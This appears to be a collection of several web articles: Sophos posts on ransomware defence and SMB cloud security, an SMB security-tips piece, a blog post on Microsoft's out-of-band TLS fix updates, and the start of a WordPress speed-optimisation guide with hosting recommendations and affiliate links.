Best Practices for Securing Your Network from Ransomware

Discover the seven network security measures that can help mitigate the risk of a ransomware attack.

66% of organizations were hit by ransomware last year* demonstrating that adversaries have become considerably more capable at executing attacks at scale than ever before. 

Modern attacks leverage legitimate IT tools such as Remote Desktop Protocol (RDP) to gain access to networks, making initial detection notoriously difficult. The root of the problem is that there’s too much implicit trust in the use of these tools which has repeatedly proven unwise.  

Implementing robust network security measures is a sure-fire way to mitigate this risk. In our new whitepaper, Best Practices for Securing Your Network from Ransomware, and in this article, we share practical network security tips to help elevate your ransomware protection. 

1. Micro-segment your network

Micro-segmenting allows you to limit the lateral movement of threats. One way to achieve this is to create small zones or VLANs and connect them via managed switches and a firewall to apply anti-malware and IPS protection between segments. This lets you identify and block threats attempting to move laterally across your network. 

2. Replace remote-access VPN with a Zero Trust Network Access solution (ZTNA)

ZTNA is the modern replacement for remote-access VPN. It eliminates the inherent trust and broad access that VPN provides, instead using the principles of Zero Trust: trust nothing, verify everything. To learn more about the benefits of ZTNA over VPN, read our article here

3. Implement the strongest possible protection

Always deploy the highest level of protection on your firewall, endpoints, servers, mobile devices, and remote access tools. In particular: 

  • Ensure your firewall has TLS 1.3 inspection, next-gen IPS, and streaming DPI with machine learning and sandboxing for protection from the latest zero-day threats 
  • Ensure your endpoints have modern next-gen protection capabilities to guard against credential theft, exploits, and ransomware 

4. Reduce the surface area of cyberattacks

We recommend that you review your firewall rules and eliminate any remote access or RDP system access through VPN, NAT, or port-forwarding, and ensure that any traffic flows are properly protected. Eliminating exposure from remote access goes a long way in reducing the number of in-roads for attackers to launch ransomware attacks. 

5. Keep your firmware and software patched and up-to-date 

This is important for both your network infrastructure (such as your firewall or remote-access software or clients) and your systems given that every update includes important security patches for previously discovered vulnerabilities.  

6. Use multi-factor authentication (MFA)

Ensure your network operates on a zero-trust model where every user and device has to continually earn trust by verifying their identity. Also, enforce a strong password policy and consider adopting authentication solutions like Windows Hello for Business.  

7. Instantly respond to cyberattacks

Use automation technologies and human expertise to accelerate cyber incident response and remediation. Ensure your network security infrastructure helps you automatically respond to active attacks so you can isolate a compromised host before it can cause serious damage.  

An increasingly popular way to achieve this is via a managed detection and response (MDR) service. MDR is a fully managed, 24/7 service delivered by experts who specialize in detecting and responding to cyberattacks that technology solutions alone cannot prevent.  To learn more on the benefits of MDR, read our article here. 

Learn more

To explore these best practices in greater detail and to learn how Sophos network security solutions elevate your ransomware protection, download our whitepaper here

Sophos provides everything you need to fully secure your network from attacks, including firewalls, ZTNA, switches, wireless, remote-edge devices, messaging protection, MDR, next-gen endpoint protection, EDR and XDR. Plus, everything’s managed via a single cloud management console — Sophos Central — and works together to deliver Synchronized Security and cross-product threat detection and response. 

For more information and to discuss how Sophos can help you, speak with one of our advisors or visit www.sophos.com today. 

* The State of Ransomware 2022, Sophos

Source :
https://news.sophos.com/en-us/2022/11/28/best-practices-for-securing-your-network-from-ransomware/

The Reality of SMB Cloud Security in 2022

4,986 IT professionals in small and mid-sized organizations (SMBs) share their real-world experiences

For most small and mid-sized organizations, the reality of ‘moving to the cloud’ has been a gradual transition of on-premises resources to the cloud, with many now running hybrid environments.

To understand the reality of cloud security today for SMBs, Sophos commissioned a survey of 4,984 IT professionals across 31 countries whose organizations use Infrastructure as a Service (IaaS). This vendor-agnostic study was conducted by Vanson Bourne, a leading independent research agency.

The findings highlight considerable gaps in cloud defenses for SMB organizations together with opportunities for improvement. They also demonstrate the real-world benefits of strong cloud practice on an organization’s experience of cyberthreats.

The Cloud Is a Growing Target for Cyberattacks

As use of the cloud increases, so does the focus it receives from cyber criminals. The survey revealed major changes in IaaS users’ experience of cyberattacks over the last year:

  • 56% experienced an increase in volume of attacks on their organization
  • 59% experienced an increase in complexity of attacks on their organization
  • 53% experienced an increase in impact of attacks on their organization
  • 67% reported that their organization was hit by ransomware

It is clear that the challenge facing defenders in the cloud is increasing rapidly.

Strong Cloud Practice Reduces Threat Exposure

The good news is that advanced IaaS users are twice as likely to report a decrease in attack volume, complexity and impact over the last year than beginners. For example, 38% of advanced users reported that the impact of attacks had decreased over the last year compared to 19% of beginners.

With regards to volume, complexity, and impact, how has your organization’s experience of cyberattacks changed over the last year? (4,984 respondents that define themselves as Infrastructure as a Service users).

The data also reveals that advanced cloud users are far less likely to have experienced an increase in the volume, complexity, and impact of an attack; for example, 61% of beginners reported an increase in attack impact compared to only 43% of advanced users.

 Attack Surface Weaknesses Revealed

Resource misconfigurations and unpatched vulnerabilities leave the door wide open for ransomware actors and other adversaries to get into your environment and carry out their attack.

Unfortunately, most SMBs are highly exposed in this area. Only 37% of survey respondents said their organization tracks and detects resource misconfigurations in their IaaS infrastructure. What’s more, fewer than half (47%) said they routinely scan IaaS resources for software vulnerabilities.

IT Teams Are Blind to Resources and Configurations

Adversaries commonly exploit stolen credentials and access data to access and compromise accounts. Once inside an organization, it’s often fairly easy for them to escalate privileges and move laterally across the victim’s infrastructure to carry out their attack.

Having visibility of all your resources and their configurations so you can quickly spot compromise and then take action is an important element of an effective cloud security strategy.

However, the survey reveals that this is a major security gap for almost two in three cloud users. Interestingly – and concerningly – there is little variation according to level of cloud experience: 34% of beginner and intermediate IaaS users have visibility of all resources and their configurations in their IaaS infrastructure, and this rises to just 37% for advanced users. This is a clear opportunity for organizations to elevate their cloud defenses.

Percentage of respondents that said their organization has visibility of all IaaS resources and their configurations

 24/7 Threat Detection and Response Capabilities

The reality is that not all threats can be prevented automatically as attackers increasingly exploit legitimate IT tools and unpatched vulnerabilities to avoid triggering protection solutions. Stopping today’s most advanced attacks requires a combination of technology and human expertise.

Threat detection and response is a 24/7 activity with adversaries conducting attacks at any time of day or night. However, the study revealed very few organizations have the necessary resources to hunt down and neutralize active adversaries around the clock.

In fact, only one in three (33%) IaaS users says their organization has the resources to continuously detect, investigate and remove threats in their IaaS infrastructure. And only one in four (40%) has processes in place to respond to IaaS infrastructure security incidents 24/7, with intermediate and advanced IaaS users a little better positioned than beginners.

Percentage of respondents that said their organization has processes in place to respond to security incidents in their IaaS infrastructure 24/7.

As the challenges facing defenders continues to grow, many organizations are turning to managed detection and response (MDR) services, with Gartner anticipating that 50% of organizations will use MDR by 2025*.

 Secure Access To Cloud Resources

The role of the firewall in securing access to on-premises resources is already well established. When it comes to securing the cloud, you need to apply the same principles you used for hardware firewalls to virtual firewalls.

Given the parallels between traditional and virtual firewalls it is perhaps surprising that the survey revealed that fewer than half of organizations have strong defenses in place here: only 40% have IPS in place to secure their IaaS infrastructure and just 44% use a WAF to protect web-facing applications and APIs.

Interestingly, this is one area where we see advanced users reporting much higher adoption of best practices than beginner and intermediate users. Almost half (49%) of advanced IaaS users have IPS in place compared to 34% of beginners, and 53% of advanced users deploy WAF to secure their cloud-based resources compared with just 40% of those in the early stages of their IaaS journey.

Percentage of respondents that said their organization has IPS in place to defend their IaaS infrastructure against known threats
Percentage of respondents that said they use web application firewalls (WAF) to protect web-facing applications and APIs

To Sum Up

Just as the use of the cloud is an ongoing process of transition for many organizations, so is cloud security. Many of the principles are the same as for traditional on-premises security, with adaptations to reflect the differences in cloud usage and threat risk.

By addressing the security gaps highlighted in this research, small and mid-sized organizations can elevate their defenses and minimize their risk of experiencing a major cloud security incident.

 How Sophos Can Help

Sophos is a global cloud security specialist, working with all leading cloud providers including AWS, Azure, Google Cloud (GCP) and Oracle. Today, Sophos secures over 530,000 organizations around the world and we are proud to be the only vendor named a Gartner Peer Insights Customers’ Choice for both endpoint and network security**.  Our cloud security solutions include:

  • Sophos Cloud Native Security (CNS) provides complete cloud security coverage, enabling you to protect all your servicers, from on-premises to single and multi-cloud, Windows to Linux.
  • Sophos Firewall offers powerful network visibility, protection, and response to secure your public, private, and hybrid cloud environments. With preconfigured virtual machines in both Azure and AWS, you can be up and running quickly.
  • Sophos MDR is our market-leading 24/7 managed detection and response service. We use the tools you already have in place, including your cloud provider telemetry, to identify and stop advanced, human-led attacks before they can impact your business.

For more information on Sophos solutions and to arrange a test drive, speak to your Sophos adviser or visit www.sophos.com.

* Gartner Market Guide for Managed Detection and Response 2021

**Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose. Gartner Peer Insights Customers’ Choice constitute the subjective opinions of individual end-user reviews, ratings, and data applied against a documented methodology; they neither represent the views of, nor constitute an endorsement by, Gartner or its affiliates.

Source :
https://news.sophos.com/en-us/2022/11/29/the-reality-of-smb-cloud-security-in-2022/

Endpoint Best Practices to Block Ransomware

Discover the six endpoint security measures that can help mitigate the risk of a ransomware attack.

With 66% of organizations hit by attacks last year, ransomware remains one of greatest cyber threats to organizations across the globe.

The barrier to entry for would-be ransomware actors is now lower than ever, largely due to the seismic shift to the ‘as-a-service’ model that has put advanced threat tactics into the hands of nearly any criminal that wants them. Furthermore, as cyber defenses continue to get stronger, ransomware operators have evolved their approaches in an attempt to bypass today’s advanced protection technologies, abusing legitimate IT tools and even learning new programming languages to evade detection.

Endpoint protection remains one of the most effective ways to defend your devices from ransomware, but it must configured properly to deliver optimum protection. In our recently updated report Endpoint Best Practices to Block Ransomware, and in this article, we share practical endpoint security tips to help elevate your ransomware defenses.

1.Turn on all policies and ensure all features are enabled

Policies are designed to stop specific threats. Regularly checking that all protection options are enabled ensures your endpoints are protected against current and emerging ransomware.

Sophos customers managing their endpoint protection through Sophos Central benefit from the “Account Health Check” tool, which automatically assesses your account configuration to identify potential security gaps and guides you in how to optimize protection. You can learn more about this feature here.

2.Regularly review your exclusions

Exclusions prevent trustworthy directories and file types from being scanned for malware. They are sometimes used to reduce system delays and minimize the risk of false-positive security alerts. Over time, a growing list of excluded directories and file types can impact many people across a network. Malware that manages to make its way into excluded directories — perhaps accidentally moved by a user — will likely succeed. Regularly check your list of exclusions within your threat protection settings and limit the number of exclusions.

3.Enable multi-factor authentication (MFA)

MFA provides an additional layer of security after the first factor, which is often a password. Enabling MFA across your applications is critical for all users who have access to your security console. Doing so ensures access to your endpoint protection solution is secure and not prone to accidental or deliberate attempts to change your settings that can otherwise leave your endpoint devices vulnerable to attacks. MFA is also critical to secure RDP.

4.Ensure every endpoint is protected and up to date

Check your devices regularly to find out if they’re protected and up to date. A device not functioning correctly may not be protected and could be vulnerable to a ransomware attack. Endpoint security tools often provide this telemetry. An IT hygiene maintenance program is also helpful for regularly checking for any potential IT issues.

5.Maintain good IT hygiene

Regularly evaluating your IT hygiene ensures your endpoints and the software installed on them run at peak efficiency. It also mitigates your cybersecurity risk and can save you time when you remediate future incidents.

6.Proactively hunt for active adversaries across your network

In today’s threat landscape, malicious actors are more cunning than ever, often deploying legitimate tools and stolen credentials to avoid detection. To identify and stop these attacks, it’s essential to proactively hunt for advanced threats and active adversaries. Once found, you also need to be able to take appropriate actions to quickly stop them. Tools such as extended detection and response (XDR) enable security analysts to conduct threat hunting and neutralization. Organizations with these technologies should take full advantage of them.

Many organizations struggle to maintain round-the-clock coverage to defend against advanced ransomware attacks — that’s why managed detection and response (MDR) services are key. MDR services provide 24/7 threat hunting delivered by experts who specialize in detecting and responding to cyberattacks that technology solutions alone cannot prevent. They also provide the highest level of protection against advanced, human-led ransomware attacks. To learn more on the benefits of MDR, read our article here.

To explore these best practices in greater detail and to learn how Sophos security solutions elevate your ransomware protection, download our whitepaper here.

Learn More

Sophos Endpoint reduces the attack surface and prevents attacks from running. It combines anti-exploit, anti-ransomware, deep learning AI, and control technology to stop attacks before they impact your systems. It integrates powerful extended detection and response (XDR) with automated detections and investigations, so you can minimize the time to detect and respond to threats.

Source :
https://news.sophos.com/en-us/2022/12/06/endpoint-best-practices-to-block-ransomware/

7 Cyber Security Tips for SMBs

When the headlines focus on breaches of large enterprises like the Optus breach, it’s easy for smaller businesses to think they’re not a target for hackers. Surely, they’re not worth the time or effort?

Unfortunately, when it comes to cyber security, size doesn’t matter.

Assuming you’re not a target leads to lax security practices in many SMBs who lack the knowledge or expertise to put simple security steps in place. Few small businesses prioritise cybersecurity, and hackers know it. According to Verizon, the number of smaller businesses being hit has climbed steadily in the last few years – 46% of cyber breaches in 2021 impacted businesses with fewer than 1,000 employees.

Cyber security doesn’t need to be difficult#

Securing any business doesn’t need to be complex or come with a hefty price tag. Here are seven simple tips to help the smaller business secure their systems, people and data.

1 — Install anti-virus software everywhere#

Every organisation has anti-virus on their systems and devices, right? Unfortunately, business systems such as web servers get overlooked all too often. It’s important for SMBs to consider all entry points into their network and have anti-virus deployed on every server, as well as on employees’ personal devices.

Hackers will find weak entry points to install malware, and anti-virus software can serve as a good last-resort backstop, but it’s not a silver bullet. Through continuous monitoring and penetration testing you can identify weaknesses and vulnerabilities before hackers do, because it’s easier to stop a burglar at the front door than once they’re in your home.

2 — Continuously monitor your perimeter#

Your perimeter is exposed to remote attacks because it’s available 24/7. Hackers constantly scan the internet looking for weaknesses, so you should scan your own perimeter too. The longer a vulnerability goes unfixed, the more likely an attack is to occur. With tools like Autosploit and Shodan readily available, it’s easier than ever for attackers to discover internet facing weaknesses and exploit them.

Even organisations that cannot afford a full-time, in-house security specialist can use online services like Intruder to run vulnerability scans to uncover weaknesses.

Intruder is a powerful vulnerability scanner that provides a continuous security review of your systems. With over 11,000 security checks, Intruder makes enterprise-grade scanning easy and accessible to SMBs.

Intruder will promptly identify high-impact flaws, changes in the attack surface, and rapidly scan your infrastructure for emerging threats.

3 — Minimise your attack surface#

Your attack surface is made up of all the systems and services exposed to the internet. The larger the attack surface, the bigger the risk. This means exposed services like Microsoft Exchange for email, or content management systems like WordPress can be vulnerable to brute-forcing or credential-stuffing, and new vulnerabilities are discovered almost daily in such software systems. By removing public access to sensitive systems and interfaces which don’t need to be accessible to the public, and ensuring 2FA is enabled where they do, you can limit your exposure and greatly reduce risk.

A simple first step in reducing your attack surface is by using a secure virtual private network (VPN). By using a VPN, you can avoid exposing sensitive systems directly to the internet whilst maintaining their availability to employees working remotely. When it comes to risk, prevention is better than cure – don’t expose anything to the internet unless it’s absolutely necessary!

4 — Keep software up to date#

New vulnerabilities are discovered daily in all kinds of software, from web browsers to business applications. Just one unpatched weakness could lead to full compromise of a system and a breach of customer data; as TalkTalk discovered when 150,000 of its private data records were stolen.

According to a Cyber Security Breaches Survey, businesses that hold electronic personal data of their customers are more likely than average to have had breaches. Patch management is an essential component of good cyber hygiene, and there are tools and services to help you check your software for any missing security patches.

5 — Back up your data #

Ransomware is on the increase. In 2021, 37% of businesses and organisations were hit by ransomware according to research by Sophos. Ransomware encrypts any data it can access, rendering it unusable, and can’t be reversed without a key to decrypt the data.

Data loss is a key risk to any business either through malicious intent or a technical mishap such as hard disk failure, so backing up data is always recommended. If you back up your data, you can counter attackers by recovering your data without needing to pay the ransom, as systems affected by ransomware can be wiped and restored from an unaffected backup without the attacker’s key.

6 — Keep your staff security aware#

Cyber attackers often rely on human error, so it’s vital that staff are trained in cyber hygiene so they recognise risks and respond appropriately. The Cyber Security Breaches Survey 2022 revealed that the most common types of breaches were staff receiving fraudulent emails or phishing attacks (73%), followed by people impersonating the organisation in emails or online (27%), viruses, spyware and malware (12%), and ransomware (4%).

Increasing awareness of the benefits of using complex passwords and training staff to spot common attacks such as phishing emails and malicious links, will ensure your people are a strength rather than a vulnerability.

— Protect yourself relative to your risk#

Cyber security measures should always be appropriate to the organisation. For example, a small business which handles banking transactions or has access to sensitive information such as healthcare data should employ far more stringent security processes and practices than a pet shop.

That’s not to say a pet shop doesn’t have a duty to protect customer data, but it’s less likely to be a target. Hackers are motivated by money, so the bigger the prize the more time and effort will be invested to achieve their gains. By identifying your threats and vulnerabilities with a tool like Intruder, you can take appropriate steps to mitigate and prioritize which risks need to be addressed and in which order.

It’s time to raise your cyber security game#

Attacks on large companies dominate the news, which feeds the perception that SMBs are safe, when the opposite is true. Attacks are increasingly automated, so SMBs are just as vulnerable targets as larger enterprises, more so if they don’t have adequate security processes in place. And hackers will always follow the path of least resistance. Fortunately, that’s the part Intruder made easy…

About Intruder#

Intruder is a cyber security company that helps organisations reduce their attack surface by providing continuous vulnerability scanning and penetration testing services. Intruder’s powerful scanner is designed to promptly identify high-impact flaws, changes in the attack surface, and rapidly scan the infrastructure for emerging threats. Running thousands of checks, which include identifying misconfigurations, missing patches, and web layer issues, Intruder makes enterprise-grade vulnerability scanning easy and accessible to everyone. Intruder’s high-quality reports are perfect to pass on to prospective customers or comply with security regulations, such as ISO 27001 and SOC 2.

Intruder offers a 14-day free trial of its vulnerability assessment platform. Visit their website today to take it for a spin!

Found this article interesting? Follow us on Twitter  and LinkedIn to read more exclusive content we post.

Source :
https://thehackernews.com/2022/11/7-cyber-security-tips-for-smbs.html

SSL/TLS connection issue fix: out-of-band update status and affected applications (Oct. 21, 2022)

[German]As of October 17, 2022, Microsoft has released several unscheduled updates for Windows. These updates fix a connection problem that can occur with SSL and TLS connections. Affected by this problem are probably all Windows client and server. Below I have listed all available updates and also give some hints where problems occur without these updates.


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Out-of-band updates with TLS fix

Microsoft made a mistake with the last updates for Windows (preview updates from September, security updates from October). As a result, various problems with SSL and TLS connections can occur. Microsoft has therefore released some : out-of-band updates on October 17, 2022 to fix the problem.

I had reportedthat  in the blog post Out-of-band updates for Windows fixes SSL-/TLS connection issues (also with Citrix) – October 17, 2022. However, Microsoft had not linked all the updates in its status pages (thanks to EP for pointing out the links), so that I could complete the list of updates for the affected Windows versions below:

The out-of-band updates KB5020439 and KB5020440 were added on October 18th.  These updates are only available for download in the Microsoft Update Catalog and have to be installed manually (just search for the KB numbers). Details about these updates can be found in the linked KB articles.

So only Windows 11 22H2 is missing the corresponding fix update. EP writes here that this fix will be added with the upcoming update KB5018496. This is currently released in the Windows Insider program as a pre-release version in the Release Preview channel (see).

Problems fixed with the updates

People have asked in comments which applications are actually affected by the TLS bugs. I don’t have a complete list, but would like to give some hints below as to what has come to my attention as a fix. Thanks to blog readers for the pointers.


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Citrix connectivity issue

With the October 2022 updates, administrators found that Citrix clients could no longer communicate with Citrix netscalers. I had reported on this in the blog postCitrix connections broken after Windows update KB5018410 (October 2022) (TLS problem). Affected people who installed the above updates reported that this fixed the connection problem.

KB5020387 fixes TLS 1.3 problem on Windows 10

On Windows, there was also the issue that there TLS 1.3 implementation was buggy on Windows 10 (it only works in Windows 11). I had raised a conflict case in the blog post Bug: Outlook no longer connects to the mail server (October 2022). Microsoft suggested disabling TLS 1.3 via registry intervention as a workaround. In this comment, someone suggests uninstalling updates KB5018410 (Windows 10) and KB5018427 (Windows 11).

Blog reader Harvester asked here, whether TLS 1.3 works with Windows 10 after installing the special updates, and then followed up with the results of his own tests.

Self-reply after tests : Schannel is working properly after having applied KB5020387 on a LTSC 2021 IoT Enterprise image (21H2), where Schannel was previously broken (on build 19044.2130, from October 11 2022)

We initially guessed that the IoT Enterprise SKU wasn’t supporting TLS 1.3, but now we confirmed that we hit the bug mentioned in the post.

“Fun” fact : while it as initially reported that TLS 1.3 was available starting from Windows 10 1903, the Schannel documentation was changed recently, and now state that only Windows 11 and Server 2022 support TLS 1.3: Protocols in TLS/SSL (Schannel SSP)

VPN and WebEx Meetings App

Within this German comment blog reader Marten reported, that the WebEx Meetings App could no longer connect to the WebEx Server (OnPrem) via VPN. The issue has been fixed via update.

Quest Migration Manager for Exchange

On Twitter, enno0815de has sent the following tweet, which refers to my message about the out-of-band updates with TLS fix. It says, anyone planning a domain migration using Quest Migration Manager for Exchange should also install the updates. Otherwise, the account will be locked out for the migration.


In a follow up tweet he adds: By some circumstance the Atelia class (Quest component) is deleted from the registry. Without the TLS fix, you lock the user out of AD completely.

Similar article:
Windows 10: Beware of a possible TLS disaster on October 2022 patchday
Citrix connections broken after Windows update KB5018410 (October 2022) (TLS problem)
Bug: Outlook no longer connects to the mail server (October 2022)
Out-of-band updates for Windows fixes SSL-/TLS connection issues (also with Citrix) – October 17, 2022

Source :
https://borncity.com/win/2022/10/22/fix-des-ssl-tls-verbindungsproblems-stand-der-sonderupdates-und-betroffene-anwendungen-21-10-2022/

25 Ways To Fix A Slow WordPress Site And Pass Core Web Vitals: 2022 Advanced Guide

Welcome to the most complete guide on WordPress speed optimization!

This is my attempt to sum up WordPress speed + core web vitals in 1 post (it’s loooong).

I’ve constantly updated it to reflect new changes ever since I first published this 10 years ago. You have updates to things like core web vitals, plugin changelogs, and Cloudflare Enterprise happening every day. While site speed has gotten complex, the basics have stayed the same: use lightweight themes/plugins on fast servers (ideally with a performant cache plugin/CDN).

Why this tutorial is different:

First, my recommendations on tools/plugins/services are arguably better than what other people tell you to use. I’m very transparent about SiteGround’s slow TTFB and cache plugin, Kinsta’s overpriced service + lack of resources, NitroPack being blackhat, RocketCDN’s poor performance, and Elementor/Divi being slow. I’ve also written extensive reviews/tutorials on nearly every major host, cache plugin, CDN, and core web vital you can find in my nav menu.

Which is the 2nd reason it’s different: configuration guides! I have tons of them. Need help configuring FlyingPressLiteSpeed Cache, or Perfmatters? Want to improve TTFB or LCP? Or maybe you’re wondering which Cloudflare settings to use. I have detailed guides on all those.

If you have suggestions on making this tutorial better (or you have a question), drop me a comment. I’m all ears. I’m not for hire because I spend so much time writing these guides 🙂

Good luck and fair seas!

  1. Testing Tools
  2. DNS
  3. Hosting
  4. Page Builders
  5. CDN
  6. Cache Plugins
  7. Other Caching
  8. Plugins
  9. CSS + JavaScript
  10. Third-Party Code
  11. Fonts
  12. Images
  13. Videos
  14. Comments
  15. LCP
  16. CLS
  17. Preload, Prefetch, Preconnect
  18. Database
  19. Background Tasks
  20. Mobile
  21. WooCommerce
  22. Security
  23. PHP Version
  24. Make Sure Optimizations Are Working
  25. Speed Plugins
  26. Get Help
  27. My Setup

1. Testing Tools

Find bottlenecks on your site before jumping in.

  • Chrome Dev Tools – the coverage report shows your largest CSS/JS files and where they’re loaded from (plugins + third-party code are common culprits). So many parts of speed and web vitals are related to CSS/JS and it’s best to tackle it at the source. Removing things you don’t need is better than trying to optimize it.
  • KeyCDN Performance Test  – measure TTFB in 10 global locations. This is mainly improved with better hosting and using a performant CDN with full page caching (like APO or FlyingProxy). It also shows DNS lookup times and TLS which can be improved with a fast DNS (i.e. Cloudflare) and configuring their SSL/TLS settings.
  • PageSpeed Insights – most items come down to reducing or optimizing CSS, JS, fonts, images, TTFB, and above the fold content. For example, preload your LCP image and exclude it from lazy load, then move large plugins/elements below the fold so they can be delayed. Focus on recommendations in PSI’s opportunities + diagnostics sections, and monitor your core web vitals report in Search Console.
  • CLS Debugger – see your website’s layout shifts (CLS) on mobile/desktop in a GIF.
  • WP Hive – Chrome extension that lets you search the WordPress plugin repository and see whether a plugin impacts memory usage and PageSpeed scores, but only measures “out of the box settings” and not when content is added to the frontend.
  • Wordfence Live Traffic Report – see bots hitting your site in real-time. AhrefsBot, SemrushBot, compute.amazonaws.com and other bots can be blocked if you’re using their service. Since most bot protection services don’t block these service’s bots, you’ll need to do this manually with something like Cloudflare firewall rules.
  • WP-Optimize – see which plugins add database overhead and remove old tables left behind by plugins/themes you deleted. Does a better than job cache plugins with scheduled cleanups because it can keep a certain number of post revisions while removing junk (cache plugins delete them all, leaving you with no backups).
  • cdnperf.com + dnsperf.com – you can these as baseline for choosing a DNS/CDN provider, but it doesn’t include StackPath’s CDN (removed from cdnperf and used by RocketCDN), QUIC.cloud’s CDN or CDN (used on LiteSpeed), and other services.
  • Waterfall Charts – testing “scores” isn’t nearly as effective as measuring things in a Waterfall chart. Google’s video on optimizing LCP is a great resource and shows you the basics. You can find one in WebPageTest, Chrome Dev Tools, and GTmetrix.
  • Diagnostic Plugins –  the speed plugins section lists all plugins mentioned in the guide. It includes diagnostic plugins like Query Monitor (this is probably best for finding bottlenecks), WP Server Stats, WP Hosting Benchmark, and WP Crontrol.

2. DNS

A slow DNS causes latency which is part of TTFB (and TTFB is part of LCP).

Whoever you registered your domain through is who you’re using for a DNS. GoDaddy, NameCheap, and even Amazon Route 53 (used on Kinsta) don’t perform well on dnsperf.com. Better options include Cloudflare, QUIC.cloud, or Google (if using Google Domains). I usually recommend Cloudflare since it’s free and can be used on any setup by changing nameservers.

Cloudflare dns

3. Hosting

Rocket.net with their free Cloudflare Enterprise will outperform any “mainstream host” since you get 32 CPU cores + 128GB RAM, NVMe storage, Redis, and Cloudflare’s full page caching + Argo Smart Routing. I use them and average a <150ms global TTFB (or click through my posts).

12 things to know about hosting/TTFB

  1. Hosting is the #1 factor of site speed.
  2. TTFB is a key indicator of hosting performance.
  3. TTFB is part of core web vitals and is 40% of LCP.
  4. TTFB also affects INP (since latency is part of TTFB).
  5. SpeedVitals tests TTFB in 35 locations – use this tool!
  6. Test your site 3 times to get accurate numbers in SpeedVitals.
  7. Doing this ensures your caching and CDN are working properly.
  8. Check your average TTFB worldwide in your 3rd SpeedVitals test.
  9. Google flags your TTFB if it’s over 600ms, but under 200ms is better.
  10. PageSpeed Insights (and other testing tools) only test TTFB in 1 location.
  11. WP Hosting Benchmark also tests hosting performance (here are my results).
  12. Combining a good host/CDN is arguably the best way to improve TTFB (using a host with improved specs on top of Cloudflare Enterprise hits 2 birds with 1 stone).
Omm ttfb speedvitals 1

Mainstream hosts (like SiteGround, Hostinger, and WPX) don’t have a lot of CPU/RAM, use slower SATA SSDs, and are shared hosting with strict CPU limits which force you to upgrade plans. Cloud hosting is faster, but Kinsta still uses SATA SSDs with low CPU/RAM, PHP workers, and monthly visits (Redis also costs $100/month). Cloudways Vultr HF is who I previously used, but again, they start with only 1 CPU + 1GB RAM on slower Apache servers, PHP-FPM, and GZIP.

Here are Rocket.net’s:

All plans use 32 CPU cores + 128GB RAM with NVMe (faster than SATA), Redis (better than memcached), LiteSpeed’s PHP, and Brotli (smaller compression than GZIP). They have no PHP worker limits since only about 10% of traffic hits your origin due to their Cloudflare Enterprise.

SiteGroundHostingerKinstaCloudways Vultr HFRocket.net
Hosting typeSharedSharedCloudCloudPrivate cloud
StorageSATASATASATANVMeNVMe
CPU coresNot listed1-212132
RAM (GB)Not listed.768 – 1.53681128
Object cacheMemcachedxRedis ($100/mo)Redis (Pro)Redis
ServerNginxLiteSpeedNginxApacheNginx
PHP processingFastCGILiteSpeedFastCGIFPMLiteSpeed
CompressionBrotliBrotliBrotliGZIPBrotli
CPU limitsVery commonLow memoryLow PHP workersAverageNone

 
Why you need Cloudflare Enterprise

Because you get Enterprise features like 270+ PoPs, prioritized routing, full page caching, HTTP/3, WAF, and image optimization. 3 problems with most CDNs are their small network (PoPs) and no full page caching or image optimization. For example, WP Rocket’s RocketCDN uses StackPath which was removed from cdnperf.com and doesn’t include image optimization with a mediocre Tbps speed of 65+. SiteGround’s CDN only has 14 PoPs. QUIC.cloud CDN (for LiteSpeed) and BunnyCDN are good, but they still don’t beat Cloudflare Enterprise. Sure, you can pay $5/mo for Cloudflare’s APO, but you’re still missing out on all other Enterprise features.

3 popular hosts with Cloudflare Enterprise

Rocket.net’s Cloudflare Enterprise is free, setup automatically, and uses full page caching (unlike Cloudways). And unlike Kinsta’s, Rocket.net has Argo Smart Routing (specifically good for WooCommerce sites), load balancing, and image optimization. Rocket.net CEO Ben Gabler also used to be StackPath’s Chief Product Officer and went as far as building Rocket.net’s data centers in the same locations as Cloudflare’s. And unlike both hosts, Rocket.net doesn’t limit PHP workers (there’s no CPU limits) and monthly visit limits are 10-25 times more than Kinsta’s.

Cloudflare Enterprise (Kinsta)Cloudflare Enterprise (Cloudways)Cloudflare Enterprise (Rocket.net)
CDN PoPs270270270
Prioritized routing
Full page cachingx
HTTP/3
WAF
Argo smart routingx
Load balancingx
Image optimizationx
Automatic configurationxx
PriceFree$5/mo (1 domain)Free

 
Problems with mainstream hosts

I’ve written some pretty bad reviews about SiteGround’s slow TTFB, CPU limits, and why SG Optimizer does a poor job with core web vitals (they also control several Facebook Groups and threaten to sue people who write bad reviews). Hostinger writes fake reviews and is only cheap because you get less resources like CPU/RAM. Kinsta and WP Engine are way too expensive for how many resources, PHP workers, and monthly visits you get. Along with major incidents like WPX’s worldwide outage and SiteGround’s DNS getting blocked by Google for 4 days (both WPX and SiteGround denied responsibility). One thing is clear: most mainstream hosts appear to be more interested in profits than performance. Please do your own research before getting advice.

Getting started on Rocket.net

Step 1: Create a Rocket.net account and you’ll be prompted to add a coupon. Sign up with coupon OMM1 to get your first month for $1 (renews at $30/mo or $25/mo when paying yearly). If you sign up with my coupon or affiliate links, I get a commission which I seriously appreciate.

Rocket. Net omm1 coupon

Step 2: Request a free migration. They did this the same day and let me review my website before it was launched with no downtime. For the record, their support is better than Kinsta’s and you can reach out to Ben Gabler or his team (via phone/chat/email) if you have questions.

Step 3: Upgrade to PHP 8.1 and ask support to install Redis (they use Redis Object Cache). These are the only things I did since Cloudflare Enterprise and backups are both automatic.

Step 4: Retest your TTFB in SpeedVitals and click through your pages to see the difference. You can also search their TrustPilot profile for people mentioning “TTFB” where they’re rated 4.9/5.

Kinsta to rocket. Net migration
Moved to rocket. Net vs siteground
Rocket. Net positive review
Rocket. Net facebook review 1
Rocket. Net vs kinsta
Kinsta to rocket. Net ttfb redis
https://youtube.com/watch?v=AT3LycPIR2E%3Fautoplay%3D1
Namehero cloudways rocket. Net
I agree with this for the most part

I was previously on Cloudways Vultr HF which was great, but their Cloudflare Enterprise doesn’t use full page caching (yet) and is $5/mo with annoying challenge pages. Even if their Cloudflare Enterprise was identical, Rocket.net still outperforms them with better specs like more CPU/RAM, Brotli, and LiteSpeed’s PHP (plus better support, easier to use, and usually pricing). While Cloudways is a big improvement than most hosts, you’re already spending $18/mo for Vultr HF’s lowest 1 CPU plan with Cloudflare Enterprise. At that point, the extra $7/mo you’d be spending at Rocket.net is worth it. Rocket.net’s dashboard is also much easier.

